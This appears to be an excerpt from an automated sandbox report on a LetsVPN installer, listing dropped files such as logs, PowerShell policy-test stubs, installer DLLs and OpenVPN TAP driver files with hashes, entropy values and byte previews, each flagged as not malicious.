SSDEEP:	3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAa8LDMBlTqqyGUqnSQ7ovNF9ULVuuQIMOn:TMVBd1IGpOSAMBluqQqfofG3QIT
MD5:	47D1C568C359210A256879814B292B4C
SHA1:	934062BAD1A6F2968392FB8646EEEFC988136654
SHA-256:	EECE5D7A3D324BA814C06FE6536BB9E1E23F06730F56B4062A19CA445F7CC865
SHA-512:	35A9C8F1B16A651A6C8CAC0F0FFFEC4AF5416A7922C541778F2EC5A5015EAE60ECFFC7B7C8D90EC78A3361CF572F8C1BBEE8FEC41EB57F95E03639B6452A9318
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterInstallId" value="b5b3d101-fc1f-4a77-80cb-75f75047a1f4" />.. </appSettings>..</configuration>

C:\Users\user\AppData\Local\Microsoft\AppCenter\b5b3d101-fc1f-4a77-80cb-75f75047a1f4\Logs.db

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3031001, file counter 10, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	2.019061538175588
Encrypted:	false
SSDEEP:	96:JFZxJHC5298BYJExJfuVxJVC5298BPuxJVC5298BY:lHC5298B/f2VC5298BGVC5298BY
MD5:	10FCD4B0177BB9AF99737515E0ED932E
SHA1:	234663D253E2302732D5221A29EF82B4F66BB0DA
SHA-256:	D952290EA9F451D98179BFD40AB2F76FD98F00CADA52A85DF91D8860BD0EBE4E
SHA-512:	9F3FD422C5DDAAB7AFC6639284C6A220380B8FFC2D96A3EE383AADF2CE5E5526D90E0B2040CC88278D627DEEBDEDFF3E88F9E76B79463341B835D17CCAA945E3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................?.........\|.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\AppCenter\b5b3d101-fc1f-4a77-80cb-75f75047a1f4\Logs.db-journal

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.6735030654978527
Encrypted:	false
SSDEEP:	96:7kAZxJHC5298BYJExJf8VxJVC5298BBuxJVC5298BhLhU:7k4HC5298B/fgVC5298BwVC5298BhL2
MD5:	1CD9D26AE728D2165C948801DA8FDF9A
SHA1:	63D8DC803CDF696E1B413865D1E508338C703ABD
SHA-256:	B32F4B6DFE68BE6AF9C642B02FC22B8209029CEB11D782687305362A1670B2C7
SHA-512:	2AA45A4C7727F29FE66C3054C187E6B8BF31888F44FF7BD1FD72CDB49B4A208F895F17DF2711A76F3A33C2C0E9D4FCA9503D551ABE8C73B686418A7F212D67EA
Malicious:	false
Preview:	.... .c........x........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LetsPRO.exe.log

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	5.348163999675204
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeYHKU57UjHKtHKMRtHj:iqlYqh3ou0aymsqwtI6eqzVqU57Ujqtp
MD5:	1D015055F59E3C59A292A836E94902DB
SHA1:	6606627C577A8D9FBB362C0FFFD5E500295CA4AC
SHA-256:	D72DA6BAE429BF4A293DF3A8B637CC821491A9585DEA47553D6753A50D6EE519
SHA-512:	C2484FDCB22662B80659A9BD978CB1995D1C7912E6E24AABCF917862DB74F900B4775A24EE922B7A9B41CA48B5EF82C2E13C951D2CAD716B86FA11E1687C2EFA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	data
Category:	modified
Size (bytes):	34383
Entropy (8bit):	5.053402703870376
Encrypted:	false
SSDEEP:	768:QPV3IpNBQkj2Ph4iUxsfrRJv5FqvXhARlardFRgrOdBPtAHkDNZbNKeCMiYo6:QPV3CNBQkj2Ph4iUxsflJnqv6qdPgrOf
MD5:	D63CB5E171D7FCFE28C9E904F6855F08
SHA1:	8C6B004EC20FF61EF4CA9EAFA6F0254364A960AB
SHA-256:	F081E30CF5BB68206C7A59B83BC914B9BD2ED59FBEE26843075D2D0CD7393354
SHA-512:	E9F534C0087182A51D5BE60E14FA992B2B933F444D32C2A2DBA3C7D4FCD6A1F418CF7A6A8B37165A61ED4D5B096716308035E117199A5B94FA796B58C041DB74
Malicious:	false
Preview:	PSMODULECACHE.......CB.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem.........{HB.z..S...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetSwitchTeam\NetSwitchTeam.psd1........Get-NetSwitchTeam........Add-NetSwitchTeamMember........Get-NetSwitchTeamMember........Remove-NetSwitchTeamMember........New-NetSwitchTeam........Rename-NetSwitchTeam........Remove-NetSwitchTeam..........zB.z..E...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetQos\NetQos.psd1........Get-NetQosPolicy........Remove-Ne

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.363615279015817
Encrypted:	false
SSDEEP:	48:RWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZSUyus:RLHyIFKL3IZ2KRH9OugEs
MD5:	C4AF023E068ED9AA7BB1C86E2525A67B
SHA1:	B2782888DD2859C0C78339CFB18420E0EDAC85EF
SHA-256:	EA954012E5D032A8C7C72C7BD371553DFD5B5A3642C8E7CC4AE515145B15CF41
SHA-512:	749930735FA25BB0E5A2807EA2F4D17D6165960FCA2F8FF9896BD6F18598DC47BC319500A775B5CB64FAA9E8487C64FD204AC7D5F58E881D99030E91528B57A1
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yfrgukm.125.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2w2q2tis.kla.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3vfwkdec.5vl.ps1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4tfg5py.t3o.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hv2441p5.ah4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ka5aksat.1ke.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_leqoq0ou.5ka.psm1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4eygn4v.bjh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwtzyl4i.emd.ps1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uqxujpjn.xg1.psm1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\System.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\modern-header.bmp

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 8, image size 8666, resolution 2834 x 2834 px/m, 255 important colors, cbSize 9740, bits offset 1074
Category:	dropped
Size (bytes):	9740
Entropy (8bit):	6.554125039233327
Encrypted:	false
SSDEEP:	192:bDIK82wKywC116+rwdTKMRjwgKhww4R1jwlIHvNbmwQo8TTJG4:bv82wKywC7DrwdTKMRjwgKhwwY1jwlQq
MD5:	5ACF495828FEAE7F85E006B7774AF497
SHA1:	5D2EEF3EEBB9A72678DCCD404475341116508306
SHA-256:	6CFEBB59F0BA1B9F1E8D7AA6387F223A468EB2FF74A9ED3C3F4BB688C2B6455E
SHA-512:	D1D40C88E2167315A309005B831ACBEAB0919D5A3B1FF5AAA273DB945C8818FC2118EFDB503E4BDA055F309306E72224F54DEF0B1F0AB6F61FE4DBA66784ED68
Malicious:	false
Preview:	BM.&......2...(.......9............!..................,...788.WXX.................................................................h...;m..i...f...O...l...)J[. :G.n...p...o...%AO.....y...W.......o...........8O[.C^l...........#.....................................p...........................................................?AB.....;....+;.>...+y..4....BY.V...f...H...5bz.%DU.j...j...h...d...b...W...N...]....0<.m...Dy..3Zo.c...U...q....Pb.s...v...v...M...y...{...q...}...}.......y............+3.............g...................................Nn..Hfv.................&5=.................................................................................................................................^s~.............................................................................................................................8....Tt.G....!+..........%..................................................\gn.............................................#$%.oqs.....zz{...................................

C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\modern-wizard.bmp

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 8, image size 51498, resolution 2834 x 2834 px/m, 255 important colors, cbSize 52572, bits offset 1074
Category:	dropped
Size (bytes):	52572
Entropy (8bit):	7.144132089574
Encrypted:	false
SSDEEP:	192:mfR2FYRtCc9X1uikvgqm+LPTTw9Bu8Skn+x23acmHjZXuxZpCAe9Crxpn319UDSQ:mf0YRt/km+b3wG0nt2UC6rOf
MD5:	7F8E1969B0874C8FB9AB44FC36575380
SHA1:	3057C9CE90A23D29F7D0854472F9F44E87B0F09A
SHA-256:	076221B4527FF13C3E1557ABBBD48B0CB8E5F7D724C6B9171C6AADADB80561DD
SHA-512:	7AA65CFADC2738C0186EF459D0F5F7F770BA0F6DA4CCD55A2CECA23627B7F13BA258136BAB88F4EEE5D9BB70ED0E8EB8BA8E1874B0280D2B08B69FC9BDD81555
Malicious:	false
Preview:	BM\.......2...(.......:...........*.......................Y[[.....z}~.................................................5by.k...6by.m...o...p...q...9dz.s...t...w...x...`...=f{.{.......}...................~...Q...........b.......-FS.~...m...v............%+.................................................................-;B.................................................................................................................................prs.;....AY.4...(m..E...P...\...f...l...n...o...8cz.l...r...q...q...r...s...t...l...v...u...;dz.v...y...w...w...z...i...y...z...{...~...}.......W...Jw..@g\|.....................]...@ey.................Go..............Ch\|.<]o.............................\|...@bt.9Wg.........5P_.....................................................`...c...t...q...............................................[q}.........................Rcl.....................................:....~...Ts.m........... 1;.......................................!.............+,-...........

C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\nsDialogs.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.101872593207892
Encrypted:	false
SSDEEP:	192:oF8cSzvTyl4tgi8pPjQM0PuAg0YNy8IFtSP:EBSzm+t18pZ0WAg0R8IFg
MD5:	CA95C9DA8CEF7062813B989AB9486201
SHA1:	C555AF25DF3DE51AA18D487D47408D5245DBA2D1
SHA-256:	FEB6364375D0AB081E9CDF11271C40CB966AF295C600903383B0730F0821C0BE
SHA-512:	A30D94910204D1419C803DC12D90A9D22F63117E4709B1A131D8C4D5EAD7E4121150E2C8B004A546B33C40C294DF0A74567013001F55F37147D86BB847D7BBC9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..c8O`08O`08O`08Oa0.O`0.@=05O`0llP0=O`0.If09O`0.od09O`0Rich8O`0........PE..L.....oZ...........!.........0...............0............................................@..........................6..k....0.......p...............................................................................0...............................text............................... ..`.rdata..{....0......................@..@.data...h!...@......................@....rsrc........p....... ..............@..@.reloc..v............"..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\nsExec.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.156301589898623
Encrypted:	false
SSDEEP:	96:cjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNG3m+s:9bogRtJzTlNR8qD85uGgmkNP
MD5:	3D366250FCF8B755FCE575C75F8C79E4
SHA1:	2EBAC7DF78154738D41AAC8E27D7A0E482845C57
SHA-256:	8BDD996AE4778C6F829E2BCB651C55EFC9EC37EEEA17D259E013B39528DDDBB6
SHA-512:	67D2D88DE625227CCD2CB406B4AC3A215D1770D385C985A44E2285490F49B45F23CE64745B24444E2A0F581335FDA02E913B92781043E8DFD287844435BA9094
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L.....oZ...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\SETC76E.tmp

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\SETC78F.tmp

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\SETC79F.tmp

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\oemvista.inf (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
